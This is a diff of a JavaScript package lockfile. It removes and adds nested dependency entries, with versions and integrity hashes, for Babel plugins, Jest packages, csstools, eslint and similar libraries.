- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-classes/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-computed-properties/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-react-jsx/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+ "@babel/plugin-transform-explicit-resource-management/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="],
@@ -5703,40 +5343,18 @@
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
- "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+ "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
- "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@babel/preset-modules/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
+ "@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="],
"@codesandbox/sandpack-client/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "@csstools/postcss-cascade-layers/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "@csstools/postcss-is-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "@csstools/postcss-scope-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "@csstools/selector-resolve-nested/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
-
- "@csstools/selector-specificity/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+ "@csstools/css-color-parser/@csstools/color-helpers": ["@csstools/color-helpers@4.0.0", "", {}, "sha512-wjyXB22/h2OvxAr3jldPB7R7kjTUEzopvjitS8jWtyd8fN6xJ8vy1HnHu0ZNfEkqpBJgQ76Q+sBDshWcMvTa/w=="],
"@eslint-community/eslint-utils/eslint-visitor-keys": ["eslint-visitor-keys@3.4.3", "", {}, "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag=="],
- "@eslint/config-array/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@eslint/config-array/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
"@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
- "@google/genai/google-auth-library": ["google-auth-library@10.5.0", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "^7.0.0", "gcp-metadata": "^8.0.0", "google-logging-utils": "^1.0.0", "gtoken": "^8.0.0", "jws": "^4.0.0" } }, "sha512-7ABviyMOlX5hIVD60YOfHw4/CxOfBhyduaYB+wbFWCWoni4N7SLcV46hrVRktuBbZjFC9ONyqamZITN7q3n32w=="],
-
- "@grpc/grpc-js/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "@grpc/proto-loader/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
-
"@headlessui/react/@tanstack/react-virtual": ["@tanstack/react-virtual@3.13.12", "", { "dependencies": { "@tanstack/virtual-core": "3.13.12" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Gd13QdxPSukP8ZrkbgS2RwoZseTTbQPLnQEn7HY/rqtM+8Zt95f7xKC7N0EsKs7aoz0WzZ+fditZux+F8EzYxA=="],
"@humanfs/node/@humanwhocodes/retry": ["@humanwhocodes/retry@0.3.1", "", {}, "sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA=="],
@@ -5755,45 +5373,51 @@
"@istanbuljs/load-nyc-config/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
- "@jest/console/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/console/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"@jest/console/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/core/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/core/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"@jest/core/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"@jest/core/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/environment/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/environment/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
- "@jest/environment-jsdom-abstract/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/environment/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+
+ "@jest/environment-jsdom-abstract/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
+
+ "@jest/environment-jsdom-abstract/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+
+ "@jest/environment-jsdom-abstract/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"@jest/expect/expect": ["expect@30.2.0", "", { "dependencies": { "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-u/feCi0GPsI+988gU2FLcsHyAHTU0MX1Wg68NhAnN7z/+C5wqG+CY8J53N9ioe8RXgaoz0nBR/TYMf3AycUuPw=="],
- "@jest/fake-timers/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/fake-timers/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
- "@jest/pattern/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/fake-timers/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
+
+ "@jest/globals/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
"@jest/reporters/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "@jest/reporters/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
"@jest/reporters/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+ "@jest/reporters/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
"@jest/reporters/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"@jest/source-map/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
"@jest/test-sequencer/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/transform/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="],
-
